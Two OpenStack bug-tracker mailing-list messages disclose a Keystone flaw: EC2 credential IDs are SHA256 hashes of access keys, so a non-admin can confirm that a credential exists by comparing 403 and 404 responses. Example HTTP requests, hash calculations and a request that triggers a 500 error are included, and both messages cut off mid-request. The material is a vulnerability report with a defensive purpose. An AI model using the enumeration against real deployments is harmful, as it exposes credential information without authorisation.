[Yahoo-eng-team] [Bug 1618615] Re: Potential information disclosure in EC2 "credentials"
will add a docs bug for this issue. ** Changed in: ossn Status: New => Won't Fix -- You received this bug notification because you are a member of Yahoo! Engineering Team, which is subscribed to OpenStack Identity (keystone). https://bugs.launchpad.net/bugs/1618615 Title: Potential information disclosure in EC2 "credentials" Status in OpenStack Identity (keystone): New Status in OpenStack Security Advisory: Won't Fix Status in OpenStack Security Notes: Won't Fix Bug description: When creating a "credential" in Keystone, instead of using uuid.uuid4() like in most places to generate a unique identifier, the id is created from the SHA256 hash value of whatever is passed in as the "access" key in the POST request (Code here: https://github.com/openstack/keystone/blob/master/keystone/credential/controllers.py#L36-L60) = EXAMPLE REQUEST = POST /v3/credentials HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [ADMIN TOKEN] Content-Length: 231 Content-Type: application/json { "credential": { "blob": "{\"access\":\"alert(2)\",\"secret\":\"secretKey\"}", "project_id": "12345", "type": "ec2", "user_id": "12345" } } HTTP/1.1 201 Created Date: Tue, 30 Aug 2016 19:14:54 GMT Server: Apache/2.4.7 (Ubuntu) Vary: X-Auth-Token Content-Length: 383 Content-Type: application/json {"credential": {"user_id": "12345", "links": {"self": "[ENDPOINT]/v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}, "blob": "{\"access\":\"alert(2)\",\"secret\":\"secretKey\"}", "project_id": "12345", "type": "ec2", "id": "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}} = /EXAMPLE = The id from the example above is "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea", which is the same as the SHA256 value of "alert(2)" (you can test this with `echo -n "alert(2)" | openssl dgst -sha256` on *nix) The documentation here seems to show MD5s and possibly tenant IDs used as "access" values: http://developer.openstack.org/api- ref/identity/v3/?expanded=assign-role-to-user-on-projects-owned-by- domain-detail,create-policy-detail,show-credential-details-detail ,list-credentials-detail,create-credential-detail#list-credentials Bruteforcing an actual MD5 isn't a huge security risk (i.e. trying to predict all 32 characters from thin air), but if the MD5 is a hash of a known value (i.e. the string "admin"), it would be trivial to test for common values: md5(admin) = 21232f297a57a5a743894a0e4a801fc3 sha256(21232f297a57a5a743894a0e4a801fc3) = 465c194afb65670f38322df087f0a9bb225cc257e43eb4ac5a0c98ef5b3173ac If tenant IDs are used, this task becomes even easier: just generate SHA256 hashes for 0 - 99 A non-admin user can determine whether there are credentials using a given access key by attempting to access the resource from its sha256 url identifier: = EXAMPLE REQUESTS = Existing credential GET /v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [NON-ADMIN TOKEN] Content-Type: application/json Connection: close HTTP/1.1 403 Forbidden Date: Tue, 30 Aug 2016 19:55:24 GMT Server: Apache/2.4.7 (Ubuntu) Vary: X-Auth-Token Content-Length: 140 Content-Type: application/json {"error": {"message": "You are not authorized to perform the requested action: identity:get_credential", "code": 403, "title": "Forbidden"}} Non-existent credential GET /v3/credentials/deadbeef HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [NON-ADMIN TOKEN] Content-Type: application/json HTTP/1.1 404 Not Found Date: Tue, 30 Aug 2016 20:03:38 GMT Server: Apache/2.4.7 (Ubuntu) Vary: X-Auth-Token Content-Length: 96 Content-Type: application/json {"error": {"message": "Could not find credential: deadbeef", "code": 404, "title": "Not Found"}} = /EXAMPLE = It is also possible to get a 500 error by creating a credential with an invalid character in the "access" key: = EXAMPLE REQUEST = POST /v3/credentials HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [ADMIN TOKEN] Content-Length: 212 Content-Type: application/json { "credential": { "blob": "{\"access\":\"\u\",\"secret\":\"secretKey\"}", "project_id": "12345", "type": "ec2", "user_id": "12345" } } HTTP/1.1 500 Internal Server Error Date: Tue, 30 Aug 2016 20:06:16 GMT Server: Apache/2.4.7 (Ubuntu) Vary: X-Auth-Token Content-Length: 143 Content-Type: application/json {"error": {"message": "An unexpected error
[Yahoo-eng-team] [Bug 1618615] Re: Potential information disclosure in EC2 "credentials"
Switched to public security, closed the OSSA task and added an OSSN task based on above comments. ** Description changed: - This issue is being treated as a potential security risk under embargo. - Please do not make any public mention of embargoed (private) security - vulnerabilities before their coordinated publication by the OpenStack - Vulnerability Management Team in the form of an official OpenStack - Security Advisory. This includes discussion of the bug or associated - fixes in public forums such as mailing lists, code review systems and - bug trackers. Please also avoid private disclosure to other individuals - not already approved for access to this information, and provide this - same reminder to those who are made aware of the issue prior to - publication. All discussion should remain confined to this private bug - report, and any proposed fixes should be added to the bug as - attachments. - - When creating a "credential" in Keystone, instead of using uuid.uuid4() like in most places to generate a unique identifier, the id is created from the SHA256 hash value of whatever is passed in as the "access" key in the POST request (Code here: https://github.com/openstack/keystone/blob/master/keystone/credential/controllers.py#L36-L60) = EXAMPLE REQUEST = POST /v3/credentials HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [ADMIN TOKEN] Content-Length: 231 Content-Type: application/json { "credential": { "blob": "{\"access\":\"alert(2)\",\"secret\":\"secretKey\"}", "project_id": "12345", "type": "ec2", "user_id": "12345" } } HTTP/1.1 201 Created Date: Tue, 30 Aug 2016 19:14:54 GMT Server: Apache/2.4.7 (Ubuntu) Vary: X-Auth-Token Content-Length: 383 Content-Type: application/json {"credential": {"user_id": "12345", "links": {"self": "[ENDPOINT]/v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}, "blob": "{\"access\":\"alert(2)\",\"secret\":\"secretKey\"}", "project_id": "12345", "type": "ec2", "id": "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea"}} = /EXAMPLE = The id from the example above is "141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea", which is the same as the SHA256 value of "alert(2)" (you can test this with `echo -n "alert(2)" | openssl dgst -sha256` on *nix) The documentation here seems to show MD5s and possibly tenant IDs used as "access" values: http://developer.openstack.org/api- ref/identity/v3/?expanded=assign-role-to-user-on-projects-owned-by- domain-detail,create-policy-detail,show-credential-details-detail,list- credentials-detail,create-credential-detail#list-credentials Bruteforcing an actual MD5 isn't a huge security risk (i.e. trying to predict all 32 characters from thin air), but if the MD5 is a hash of a known value (i.e. the string "admin"), it would be trivial to test for common values: md5(admin) = 21232f297a57a5a743894a0e4a801fc3 sha256(21232f297a57a5a743894a0e4a801fc3) = 465c194afb65670f38322df087f0a9bb225cc257e43eb4ac5a0c98ef5b3173ac If tenant IDs are used, this task becomes even easier: just generate SHA256 hashes for 0 - 99 A non-admin user can determine whether there are credentials using a given access key by attempting to access the resource from its sha256 url identifier: = EXAMPLE REQUESTS = Existing credential GET /v3/credentials/141ce7a938b5973dd71c90bcdd7e4097317ee7374259cf6d8774fdfd86c1f8ea HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [NON-ADMIN TOKEN] Content-Type: application/json Connection: close HTTP/1.1 403 Forbidden Date: Tue, 30 Aug 2016 19:55:24 GMT Server: Apache/2.4.7 (Ubuntu) Vary: X-Auth-Token Content-Length: 140 Content-Type: application/json {"error": {"message": "You are not authorized to perform the requested action: identity:get_credential", "code": 403, "title": "Forbidden"}} Non-existent credential GET /v3/credentials/deadbeef HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [NON-ADMIN TOKEN] Content-Type: application/json HTTP/1.1 404 Not Found Date: Tue, 30 Aug 2016 20:03:38 GMT Server: Apache/2.4.7 (Ubuntu) Vary: X-Auth-Token Content-Length: 96 Content-Type: application/json {"error": {"message": "Could not find credential: deadbeef", "code": 404, "title": "Not Found"}} = /EXAMPLE = It is also possible to get a 500 error by creating a credential with an invalid character in the "access" key: = EXAMPLE REQUEST = POST /v3/credentials HTTP/1.1 Host: [ENDPOINT] X-Auth-Token: [ADMIN TOKEN] Content-Length: 212 Content-Type: application/json {